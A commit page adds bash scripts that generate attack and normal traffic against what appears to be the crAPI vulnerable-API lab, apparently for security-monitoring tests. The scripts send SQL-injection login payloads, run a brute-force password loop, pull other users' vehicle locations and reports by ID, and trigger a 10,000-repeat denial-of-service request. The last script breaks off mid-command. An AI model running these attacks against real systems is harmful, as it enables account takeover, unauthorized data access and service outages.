Преглед на файлове

Traffic generation scripts

main
kusum преди 1 година
родител
ревизия
3f8194c06e

+ 169
- 0
GSAutomation/scripts/attack_traffic.sh Целия файл

@@ -0,0 +1,169 @@

#!/bin/bash

#Prompt the user to enter the value of HOSTNAME
read -p "Enter the HOSTNAME: " HOSTNAME


# Define the email addresses
EMAILS=(
'apilab@akamai.com'
'apilab2@akamai.com'
'apilab3@akamai.com'
'apilab4@akamai.com'
)

# Define the list of passwords
PASSWORDS=(
'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
'or true--'
"or true--"
'or true--'
') or true--'
"') or true--"
"') or true--"
)

# Define the common password
COMMON_PASSWORD='cRaPi2023!!!'

echo "GENERATING REQUESTS FOR LOGIN ENDPOINT WITH SQL PAYLOAD"
for email in "${EMAILS[@]}"; do
for password in "${PASSWORDS[@]}"; do
curl 'http://$HOSTNAME/identity/api/auth/login' \
-H 'Accept: */*' \
-H 'Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7,de;q=0.6' \
-H 'Cache-Control: no-cache' \
-H 'Connection: keep-alive' \
-H 'Content-Type: application/json' \
-H 'DNT: 1' \
-H 'Origin: http://$HOSTNAME' \
-H 'Pragma: no-cache' \
-H 'Referer: http://$HOSTNAME/login' \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36' \
--data-raw $'{"email":"$email","password":"$password"}' \
--compressed \
--insecure \
-o /dev/null > /dev/null 2>&1
done
done
echo "----------------COMPLETE---------------------------------"

echo "GENERATING REQUESTS FOR LOGIN ENDPOINT TO TRY DIFFERENT PASSWORDS FOR BRUTE FORCE AUTHENTICATION"
# Define the password range
for ((i=1; i<=50; i++)); do
PASSWORD="pass$i"

for email in "${EMAILS[@]}"; do
curl "http://$HOSTNAME/identity/api/auth/login" \
-H "Accept: */*" \
-H "Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7,de;q=0.6" \
-H "Cache-Control: no-cache" \
-H "Connection: keep-alive" \
-H "Content-Type: application/json" \
-H "DNT: 1" \
-H "Origin: http://$HOSTNAME" \
-H "Pragma: no-cache" \
-H "Referer: http://$HOSTNAME/login" \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" \
--data-raw "{\"email\":\"$email\",\"password\":\"$PASSWORD\"}" \
--compressed \
--insecure | jq -j

done
done
echo "----------------COMPLETE---------------------------------"



# Function to obtain access token for a given email and password
get_access_token() {
local email=$1
local password=$2

# Use curl to get the access token and jq to extract it
local access_token=$(curl "http://$HOSTNAME/identity/api/auth/login" \
-H 'Content-Type: application/json' \
--data-raw '{"email":"'"$email"'","password":"'"$password"'"}' \
--insecure -s | jq -j .token)

echo "$access_token"
}

# Define the common password
COMMON_PASSWORD='cRaPi2023!!!'

# Define the email addresses
emails=(
'apilab@akamai.com'
'apilab2@akamai.com'
'apilab3@akamai.com'
'apilab4@akamai.com'
)

echo "GENERATIC REQUESTS FOR CONTACT MECHANIIC ENDPOINT FOR 5XX SERVER ERRORS"
for ((x=1; x<=20; x++)); do
for ((i=0; i<${#emails[@]}; i++)); do
# Generate access token
ACCESS_TOKEN=$(get_access_token "${emails[i]}" "$COMMON_PASSWORD")
# Define VINs
VINS=("8WNFQ29UASO325881" "2QJHA06QPTA452548" "9MZWD50MITK534430" "2QBSC54ZIHY224823")
VIN=${VINS[i]}

# Execute first curl command
curl "http://$HOSTNAME/workshop/api/merchant/contact_mechanic" \
-H "Accept: */*" \
-H "Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7,de;q=0.6" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Cache-Control: no-cache" \
-H "Connection: keep-alive" \
-H "Content-Type: application/json" \
-H "DNT: 1" \
-H "Origin: http://$HOSTNAME" \
-H "Pragma: no-cache" \
-H "Referer: http://$HOSTNAME/contact-mechanic?VIN=$VIN" \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" \
--data-raw "{\"mechanic_code\":\"T567\",\"problem_details\":\"123\",\"vin\":\"$VIN\",\"mechanic_api\":\"http://$HOSTNAME/workshop/api/mechanic/receive_report\",\"repeat_request_if_failed\":false,\"number_of_repeats\":1}" \
--compressed \
--insecure \
-o /dev/null > /dev/null 2>&1


# Execute second curl command
curl "http://$HOSTNAME/workshop/api/merchant/contact_mechanic" \
-H "Accept: */*" \
-H "Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7,de;q=0.6" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Cache-Control: no-cache" \
-H "Connection: keep-alive" \
-H "Content-Type: application/json" \
-H "DNT: 1" \
-H "Origin: http://$HOSTNAME" \
-H "Pragma: no-cache" \
-H "Referer: http://$HOSTNAME/contact-mechanic?VIN=$VIN" \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" \
--data-raw "{\"mechanic_code\":\"123\",\"problem_details\":\"123\",\"vin\":\"$VIN\",\"mechanic_api\":\"http://$HOSTNAME/workshop/api/mechanic/receive_report\",\"repeat_request_if_failed\":false,\"number_of_repeats\":1}" \
--compressed \
--insecure \
-o /dev/null > /dev/null 2>&1
done
done

+ 58
- 0
GSAutomation/scripts/bola1_locations.sh Целия файл

@@ -0,0 +1,58 @@
#!/bin/bash

# Prompt the user to enter the value of HOSTNAME
read -p "Enter the HOSTNAME: " HOSTNAME


# Function to obtain access token for a given email and password
get_access_token() {
local email=$1
local password=$2

# Use curl to get the access token and jq to extract it
local access_token=$(curl "http://$HOSTNAME/identity/api/auth/login" \
-H 'Content-Type: application/json' \
--data-raw '{"email":"'"$email"'","password":"'"$password"'"}' \
--insecure -s | jq -j .token)

echo "$access_token"
}

# Define the common password
COMMON_PASSWORD='cRaPi2023!!!'

# Define the email addresses
emails=(
'apilab@akamai.com'
'apilab2@akamai.com'
'apilab3@akamai.com'
'apilab4@akamai.com'
)
for ((x=1; x<=10; x++)); do
for ((i=0; i<${#emails[@]}; i++)); do
# Generate access token
access_token=$(get_access_token "${emails[i]}" "$COMMON_PASSWORD")
# Get the corresponding UUID
UUIDS=("b1804463-03be-4c51-88d3-e13b5b9a2331" "7e3633e8-f8e7-47a2-9076-705210dcc213" "2f3fd019-b89e-45dc-9d51-ee0aed14e550" "50e17ffb-3e81-4f93-8825-fd959310de6c")
UUID=${UUIDS[i]}

curl "http://$HOSTNAME/identity/api/v2/vehicle/$UUID/location" \
-H "Accept: */*" \
-H "Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7,de;q=0.6" \
-H "Authorization: Bearer $access_token" \
-H "Cache-Control: no-cache" \
-H "Connection: keep-alive" \
-H "Content-Type: application/json" \
-H "DNT: 1" \
-H "Origin: http://$HOSTNAME" \
-H "Pragma: no-cache" \
-H "Referer: http://$HOSTNAME/identity/api/v2/user/dashboard" \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" \
--compressed \
--insecure | jq -j \
# Check the esponse code
if [ $? -ne 0 ]; then
echo "Error: Request failed."
fi
done
done

+ 51
- 0
GSAutomation/scripts/bola2_reports.sh Целия файл

@@ -0,0 +1,51 @@
#!/bin/bash

# Prompt the user to enter the value of HOSTNAME
read -p "Enter the HOSTNAME: " HOSTNAME

# Function to obtain access token for a given email and password
get_access_token() {
local email=$1
local password=$2

# Use curl to get the access token and jq to extract it
local access_token=$(curl "http://$HOSTNAME/identity/api/auth/login" \
-H 'Content-Type: application/json' \
--data-raw '{"email":"'"$email"'","password":"'"$password"'"}' \
--insecure -s | jq -j .token)

echo "$access_token"
}

# Define the common password
COMMON_PASSWORD='cRaPi2023!!!'

# Define the email addresses
emails=(
'apilab@akamai.com'
'apilab2@akamai.com'
'apilab3@akamai.com'
'apilab4@akamai.com'
)


for ((i=0; i<${#emails[@]}; i++)); do
access_token=$(get_access_token "${emails[i]}" "$COMMON_PASSWORD")
# Make 5 requests for report IDs 1 to 5
for report_id in {1..5}; do
curl "http://$HOSTNAME/workshop/api/mechanic/mechanic_report?report_id=$report_id" \
-H 'Accept: */*' \
-H 'Accept-Language: en-US,en;q=0.9' \
-H "Authorization: Bearer $access_token" \
-H 'Connection: keep-alive' \
-H 'Content-Type: application/json' \
-H "Referer: http://$HOSTNAME/dashboard" \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36' \
-H 'pragma: akamai-x-ro-trace' \
-H 'x-akamai-a2-disable: on' \
-H 'x-akamai-ro-piez: on' \
-H 'x-im-piez: on' \
--compressed \
--insecure | jq -j
done
done

+ 39
- 0
GSAutomation/scripts/bola3_ab.sh Целия файл

@@ -0,0 +1,39 @@
#!/bin/bash

# Prompt the user to enter the value of HOSTNAME
read -p "Enter the HOSTNAME: " HOSTNAME


# Function to obtain access token for a given email and password
get_access_token() {
local email=$1
local password=$2

# Use curl to get the access token and jq to extract it
local access_token=$(curl "http://$HOSTNAME/identity/api/auth/login" \
-H 'Content-Type: application/json' \
--data-raw '{"email":"'"$email"'","password":"'"$password"'"}' \
--insecure -s | jq -j .token)

echo "$access_token"
}

# Define the common password
COMMON_PASSWORD='cRaPi2023!!!'

# Define the email addresses
emails=(
'apilab@akamai.com'
'apilab2@akamai.com'
'apilab3@akamai.com'
'apilab4@akamai.com'
)
for ((i=0; i<${#emails[@]}; i++)); do
# Generate access token
access_token=$(get_access_token "${emails[i]}" "$COMMON_PASSWORD")
# Execute the ab commands for each access token.
ab -k -c 5 -n 200 -H "Authorization: Bearer $access_token" -H 'Content-Type: application/json' "http://$HOSTNAME/identity/api/v2/vehicle/e00d6df3-3aa9-4a9f-b4af-5cd6e54c3eee/location/"
ab -k -c 5 -n 200 -H "Authorization: Bearer $access_token" -H 'Content-Type: application/json' "http://$HOSTNAME/identity/api/v2/vehicle/7e3633e8-f8e7-47a2-9076-705210dcc213/location/"
ab -k -c 5 -n 200 -H "Authorization: Bearer $access_token" -H 'Content-Type: application/json' "http://$HOSTNAME/identity/api/v2/vehicle/5cb870b1-1938-4d7f-9763-004b3da1fecc/location/"
ab -k -c 5 -n 200 -H "Authorization: Bearer $access_token" -H 'Content-Type: application/json' "http://$HOSTNAME/identity/api/v2/vehicle/2de56bec-c096-4033-83f8-1a4bd73865cf/location/"
done

+ 71
- 0
GSAutomation/scripts/ddos_contactmechanic.sh Целия файл

@@ -0,0 +1,71 @@
#!/bin/bash

# Prompt the user to enter the value of HOSTNAME
read -p "Enter the HOSTNAME: " HOSTNAME

# Function to obtain access token for a given email and password
get_access_token() {
local email=$1
local password=$2

# Use curl to get the access token and jq to extract it
local access_token=$(curl "http://$HOSTNAME/identity/api/auth/login" \
-H 'Content-Type: application/json' \
--data-raw '{"email":"'"$email"'","password":"'"$password"'"}' \
--insecure -s | jq -j .token)

echo "$access_token"
}

# Define the common password
COMMON_PASSWORD='cRaPi2023!!!'

# Define the email addresses
emails=(
'apilab@akamai.com'
'apilab2@akamai.com'
'apilab3@akamai.com'
'apilab4@akamai.com'
)

for ((i=0; i<${#emails[@]}; i++)); do
# Generate access token
access_token=$(get_access_token "${emails[i]}" "$COMMON_PASSWORD")
# Define VINs
VINS=("8WNFQ29UASO325881" "2QJHA06QPTA452548" "9MZWD50MITK534430" "2QBSC54ZIHY224823")
VIN=${VINS[i]}

# Execute first curl command
curl "http://$HOSTNAME/workshop/api/merchant/contact_mechanic" \
-H "Accept: */*" \
-H "Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7,de;q=0.6" \
-H "Authorization: Bearer $access_token" \
-H "Cache-Control: no-cache" \
-H "Connection: keep-alive" \
-H "Content-Type: application/json" \
-H "DNT: 1" \
-H "Origin: http://$HOSTNAME" \
-H "Pragma: no-cache" \
-H "Referer: http://$HOSTNAME/contact-mechanic?VIN=$VIN" \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" \
--data-raw "{\"mechanic_code\":\"TRAC_JHN\",\"problem_details\":\"123\",\"vin\":\"$VIN\",\"mechanic_api\":\"http://$HOSTNAME/workshop/api/mechanic/receive_report\",\"repeat_request_if_failed\":true,\"number_of_repeats\":10000}" \
--compressed \
--insecure | jq -j

curl "http://$HOSTNAME/workshop/api/merchant/contact_mechanic" \
-H "Accept: */*" \
-H "Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7,de;q=0.6" \
-H "Authorization: Bearer $access_token" \
-H "Cache-Control: no-cache" \
-H "Connection: keep-alive" \
-H "Content-Type: application/json" \
-H "DNT: 1" \
-H "Origin: http://$HOSTNAME" \
-H "Pragma: no-cache" \
-H "Referer: http://$HOSTNAME/contact-mechanic?VIN=$VIN" \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" \
--data-raw "{\"mechanic_code\":\"TRAC_JME\",\"problem_details\":\"123\",\"vin\":\"$VIN\",\"mechanic_api\":\"http://$HOSTNAME/workshop/api/mechanic/receive_report\",\"repeat_request_if_failed\":true,\"number_of_repeats\":10000}" \
--compressed \
--insecure | jq -j
done

+ 50
- 0
GSAutomation/scripts/edx.sh Целия файл

@@ -0,0 +1,50 @@
#!/bin/bash

# Prompt the user to enter the value of HOSTNAME
read -p "Enter the HOSTNAME: " HOSTNAME


# Function to obtain access token for a given email and password
get_access_token() {
local email=$1
local password=$2

# Use curl to get the access token and jq to extract it
local access_token=$(curl "http://$HOSTNAME/identity/api/auth/login" \
-H 'Content-Type: application/json' \
--data-raw '{"email":"'"$email"'","password":"'"$password"'"}' \
--insecure -s | jq -j .token)

echo "$access_token"
}

# Define the common password
COMMON_PASSWORD='cRaPi2023!!!'

# Define the email addresses
emails=(
'apilab@akamai.com'
'apilab2@akamai.com'
'apilab3@akamai.com'
'apilab4@akamai.com'
)


for ((i=0; i<${#emails[@]}; i++)); do
access_token=$(get_access_token "${emails[i]}" "$COMMON_PASSWORD")
curl "http://$HOSTNAME/community/api/v2/community/posts/recent" \
-H "Accept: */*" \
-H "Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7,de;q=0.6" \
-H "Authorization: Bearer $access_token" \
-H "Cache-Control: no-cache" \
-H "Connection: keep-alive" \
-H "Content-Type: application/json" \
-H "DNT: 1" \
-H "Origin: http://$HOSTNAME" \
-H "Pragma: no-cache" \
-H "Referer: http://$HOSTNAME/dashboard" \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" \
--compressed \
--insecure | jq -j

done

+ 410
- 0
GSAutomation/scripts/normal_traffic.sh Целия файл

@@ -0,0 +1,410 @@
#!/bin/bash

# Prompt the user to enter the value of HOSTNAME
read -p "Enter the HOSTNAME: " HOSTNAME


# Function to obtain access token for a given email and password
get_access_token() {
local email=$1
local password=$2

# Use curl to get the access token and jq to extract it
local access_token=$(curl "http://$HOSTNAME/identity/api/auth/login" \
-H 'Content-Type: application/json' \
--data-raw '{"email":"'"$email"'","password":"'"$password"'"}' \
--insecure -s | jq -j .token)

echo "$access_token"
}

# Define the common password
COMMON_PASSWORD='cRaPi2023!!!'

# Define the email addresses
emails=(
'apilab@akamai.com'
'apilab2@akamai.com'
'apilab3@akamai.com'
'apilab4@akamai.com'
)

# Loop through each email/password and output the corresponding access token
for ((i=0; i<${#emails[@]}; i++)); do
access_token=$(get_access_token "${emails[i]}" "$COMMON_PASSWORD")
echo "GENERATING TRAFFIC FOR LOGIN API"
echo "access_token$((i+1)): $access_token"

echo "GENERATING TRAFFIC FOR DASHBOARD API (VIEW DASHBOARD)"
for ((x=1; x<=10; x++)); do
curl "http://$HOSTNAME/identity/api/v2/user/dashboard" \
-H 'Accept: */*' \
-H 'Accept-Language: en-US,en;q=0.9' \
-H "Authorization: Bearer $access_token" \
-H 'Connection: keep-alive' \
-H 'Content-Type: application/json' \
-H "Referer: http://$HOSTNAME/dashboard" \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36' \
-H 'pragma: akamai-x-ro-trace' \
-H 'x-akamai-a2-disable: on' \
-H 'x-akamai-ro-piez: on' \
-H 'x-im-piez: on' \
--compressed \
--insecure \
-o /dev/null > /dev/null 2>&1
# Check the esponse code
if [ $? -ne 0 ]; then
echo "Error: Request failed."
fi
done
echo "GENERATING TRAFFIC FOR ORDERS API (PLACE ORDERS FOR SEAT & WHEEL)"
curl "http://$HOSTNAME/workshop/api/shop/orders" \
-H "Accept: */*" \
-H "Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7,de;q=0.6" \
-H "Authorization: Bearer $access_token" \
-H "Cache-Control: no-cache" \
-H "Connection: keep-alive" \
-H "Content-Type: application/json" \
-H "DNT: 1" \
-H "Origin: http://$HOSTNAME" \
-H "Pragma: no-cache" \
-H "Referer: http://$HOSTNAME/workshop/api/shop/products" \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" \
--data-raw '{"product_id":1,"quantity":1}' \
--compressed \
--insecure \
-o /dev/null > /dev/null 2>&1
# Check the esponse code
if [ $? -ne 0 ]; then
echo "Error: Request failed."
fi

curl "http://$HOSTNAME/workshop/api/shop/orders" \
-H "Accept: */*" \
-H "Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7,de;q=0.6" \
-H "Authorization: Bearer $access_token" \
-H "Cache-Control: no-cache" \
-H "Connection: keep-alive" \
-H "Content-Type: application/json" \
-H "DNT: 1" \
-H "Origin: http://$HOSTNAME" \
-H "Pragma: no-cache" \
-H "Referer: http://$HOSTNAME/workshop/api/shop/products" \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" \
--data-raw '{"product_id":2,"quantity":1}' \
--compressed \
--insecure \
-o /dev/null > /dev/null 2>&1
# Check the esponse code
if [ $? -ne 0 ]; then
echo "Error: Request failed."
fi

echo "GENERATING TRAFFIC FOR COMMUNITY POSTS API (VIEW RECENT POSTS)"
for ((x=1; x<=10; x++)); do
curl "http://$HOSTNAME/community/api/v2/community/posts/recent" \
-H 'Accept: */*' \
-H 'Accept-Language: en-US,en;q=0.9' \
-H "Authorization: Bearer $access_token" \
-H 'Connection: keep-alive' \
-H 'Content-Type: application/json' \
-H "Referer: http://$HOSTNAME/dashboard" \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36' \
-H 'pragma: akamai-x-ro-trace' \
-H 'x-akamai-a2-disable: on' \
-H 'x-akamai-ro-piez: on' \
-H 'x-im-piez: on' \
--compressed \
--insecure \
-o /dev/null > /dev/null 2>&1
# Check the esponse code
if [ $? -ne 0 ]; then
echo "Error: Request failed."
fi
done

echo "GENERATING TRAFFIC FOR ORDERS API (VIEW ALL PAST ORDERS)"
for ((x=1; x<=10; x++)); do
curl "http://$HOSTNAME/workshop/api/shop/orders/all" \
-H 'Accept: */*' \
-H 'Accept-Language: en-US,en;q=0.9' \
-H "Authorization: Bearer $access_token" \
-H 'Connection: keep-alive' \
-H 'Content-Type: application/json' \
-H "Referer: http://$HOSTNAME/dashboard" \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36' \
-H 'pragma: akamai-x-ro-trace' \
-H 'x-akamai-a2-disable: on' \
-H 'x-akamai-ro-piez: on' \
-H 'x-im-piez: on' \
--compressed \
--insecure \
-o /dev/null > /dev/null 2>&1
done
echo "GENERATING TRAFFIC FOR ORDERS API (VIEW INDIVIDUAL ORDERS)"
for ((order_id=1; order_id<=5; order_id++)); do
curl "http://$HOSTNAME/workshop/api/shop/orders/$order_id" \
-H "Accept: */*" \
-H "Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7,de;q=0.6" \
-H "Authorization: Bearer $access_token" \
-H "Cache-Control: no-cache" \
-H "Connection: keep-alive" \
-H "Content-Type: application/json" \
-H "DNT: 1" \
-H "Origin: http://$HOSTNAME" \
-H "Pragma: no-cache" \
-H "Referer: http://$HOSTNAME/workshop/api/shop/orders/all" \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" \
--compressed \
--insecure \
-o /dev/null > /dev/null 2>&1
# Check the esponse code
if [ $? -ne 0 ]; then
echo "Error: DASHBOARD PAGE request failed."
fi
done

echo "GENERATING TRAFFIC FOR PRODUCTS API (VIEW AVAILABLE PRODUCTS)"
for ((x=1; x<=10; x++)); do
curl "http://$HOSTNAME/workshop/api/shop/products" \
-H 'Accept: */*' \
-H 'Accept-Language: en-US,en;q=0.9' \
-H "Authorization: Bearer $access_token" \
-H 'Connection: keep-alive' \
-H 'Content-Type: application/json' \
-H "Referer: http://$HOSTNAME/dashboard" \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36' \
-H 'pragma: akamai-x-ro-trace' \
-H 'x-akamai-a2-disable: on' \
-H 'x-akamai-ro-piez: on' \
-H 'x-im-piez: on' \
--compressed \
--insecure \
-o /dev/null > /dev/null 2>&1
# Check the esponse code
if [ $? -ne 0 ]; then
echo "Error: Request failed."
fi
done

echo "GENERATING TRAFFIC FOR VEHICLES API (VIEW VEHICLE DETAILS)"
for ((x=1; x<=10; x++)); do
curl "http://$HOSTNAME/identity/api/v2/vehicle/vehicles" \
-H 'Accept: */*' \
-H 'Accept-Language: en-US,en;q=0.9' \
-H "Authorization: Bearer $access_token" \
-H 'Connection: keep-alive' \
-H 'Content-Type: application/json' \
-H "Referer: http://$HOSTNAME/dashboard" \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36' \
-H 'pragma: akamai-x-ro-trace' \
-H 'x-akamai-a2-disable: on' \
-H 'x-akamai-ro-piez: on' \
-H 'x-im-piez: on' \
--compressed \
--insecure \
-o /dev/null > /dev/null 2>&1
# Check the esponse code
if [ $? -ne 0 ]; then
echo "Error: Request failed."
fi
done
echo "----------------------------------------------------------------------------"

done

echo "GENERATING TRAFFIC FOR LOCATIONS API (REFRESH LOCATION)"
# Loop through each combination
for ((x=1; x<=10; x++)); do
for ((i=0; i<${#emails[@]}; i++)); do
# Generate access token
access_token=$(get_access_token "${emails[i]}" "$COMMON_PASSWORD")
# Get the corresponding UUID
UUIDS=("7e3633e8-f8e7-47a2-9076-705210dcc213" "b1804463-03be-4c51-88d3-e13b5b9a2331" "50e17ffb-3e81-4f93-8825-fd959310de6c" "2f3fd019-b89e-45dc-9d51-ee0aed14e550")
UUID=${UUIDS[i]}

curl "http://$HOSTNAME/identity/api/v2/vehicle/$UUID/location" \
-H "Accept: */*" \
-H "Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7,de;q=0.6" \
-H "Authorization: Bearer $access_token" \
-H "Cache-Control: no-cache" \
-H "Connection: keep-alive" \
-H "Content-Type: application/json" \
-H "DNT: 1" \
-H "Origin: http://$HOSTNAME" \
-H "Pragma: no-cache" \
-H "Referer: http://$HOSTNAME/identity/api/v2/user/dashboard" \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" \
--compressed \
--insecure \
-o /dev/null > /dev/null 2>&1
# Check the esponse code
if [ $? -ne 0 ]; then
echo "Error: Request failed."
fi
done

done
echo "--------------------------------------------------------------------------------------------------------"


echo "GENERATING TRAFFIC FOR CONTACT MECHANIC (NEW SERVICE REQUEST) & REPORTS (VIEW REPORTS) API"
for ((i=0; i<${#emails[@]}; i++)); do
# Generate access token
access_token=$(get_access_token "${emails[i]}" "$COMMON_PASSWORD")
# Define VINs
VINS=("8WNFQ29UASO325881" "2QJHA06QPTA452548" "9MZWD50MITK534430" "2QBSC54ZIHY224823")
VIN=${VINS[i]}

# Execute curl command to view mechanic info
for ((x=1; x<=25; x++)); do
curl "http://$HOSTNAME/workshop/api/mechanic/" \
-H "Accept: */*" \
-H "Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7,de;q=0.6" \
-H "Authorization: Bearer $access_token" \
-H "Cache-Control: no-cache" \
-H "Connection: keep-alive" \
-H "Content-Type: application/json" \
-H "DNT: 1" \
-H "Pragma: no-cache" \
-H "Referer: http://$HOSTNAME/contact-mechanic?VIN=$VIN" \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" \
--compressed \
--insecure \
-o /dev/null > /dev/null 2>&1
# Check the esponse code
if [ $? -ne 0 ]; then
echo "Error: Request failed."
fi

done

# Execute curl command to create service request for TRAC_JHN mechanic code
response_jhn=$(curl "http://$HOSTNAME/workshop/api/merchant/contact_mechanic" \
-H "Accept: */*" \
-H "Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7,de;q=0.6" \
-H "Authorization: Bearer $access_token" \
-H "Cache-Control: no-cache" \
-H "Connection: keep-alive" \
-H "Content-Type: application/json" \
-H "DNT: 1" \
-H "Origin: http://$HOSTNAME" \
-H "Pragma: no-cache" \
-H "Referer: http://$HOSTNAME/contact-mechanic?VIN=$VIN" \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" \
--data-raw "{\"mechanic_code\":\"TRAC_JHN\",\"problem_details\":\"123\",\"vin\":\"$VIN\",\"mechanic_api\":\"http://$HOSTNAME/workshop/api/mechanic/receive_report\",\"repeat_request_if_failed\":false,\"number_of_repeats\":1}" \
--compressed \
--insecure)
# Extract the report link for TRAC_JHN
report_link_jhn=$(echo "$response_jhn" | jq -r '.response_from_mechanic_api.report_link')


# Execute curl command to create service request for TRAC_JME mechanic code
response_jme=$(curl "http://$HOSTNAME/workshop/api/merchant/contact_mechanic" \
-H "Accept: */*" \
-H "Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7,de;q=0.6" \
-H "Authorization: Bearer $access_token" \
-H "Cache-Control: no-cache" \
-H "Connection: keep-alive" \
-H "Content-Type: application/json" \
-H "DNT: 1" \
-H "Origin: http://$HOSTNAME" \
-H "Pragma: no-cache" \
-H "Referer: http://$HOSTNAME/contact-mechanic?VIN=$VIN" \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" \
--data-raw "{\"mechanic_code\":\"TRAC_JME\",\"problem_details\":\"123\",\"vin\":\"$VIN\",\"mechanic_api\":\"http://$HOSTNAME/workshop/api/mechanic/receive_report\",\"repeat_request_if_failed\":false,\"number_of_repeats\":1}" \
--compressed \
--insecure)
# Extract the report link for TRAC_JME
report_link_jme=$(echo "$response_jme" | jq -r '.response_from_mechanic_api.report_link')

# Make a curl command for each report link using the corresponding access token
curl "$report_link_jhn" -H "Authorization: Bearer $access_token" --insecure -sS > /dev/null
# Check the esponse code
if [ $? -ne 0 ]; then
echo "Error: Request failed for TRAC_JHN."
fi
curl "$report_link_jme" -H "Authorization: Bearer $access_token" --insecure -sS > /dev/null
# Check the esponse code
if [ $? -ne 0 ]; then
echo "Error: Request failed for TRAC_JHN."
fi
done
echo "--------------------------------------------------------------------------------------------------------"

echo "GENERATING TRAFFIC FOR COMMUNITY API (ADD POSTS AND COMMENTS)"
# Function to make the first curl request
make_first_request() {
local access_token=$1
curl "http://$HOSTNAME/community/api/v2/community/posts" \
-H 'Accept: */*' \
-H 'Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7,de;q=0.6' \
-H "Authorization: Bearer $access_token" \
-H 'Cache-Control: no-cache' \
-H 'Connection: keep-alive' \
-H 'Content-Type: application/json' \
-H 'DNT: 1' \
-H "Origin: http://$HOSTNAME" \
-H 'Pragma: no-cache' \
-H "Referer: http://$HOSTNAME/new-post" \
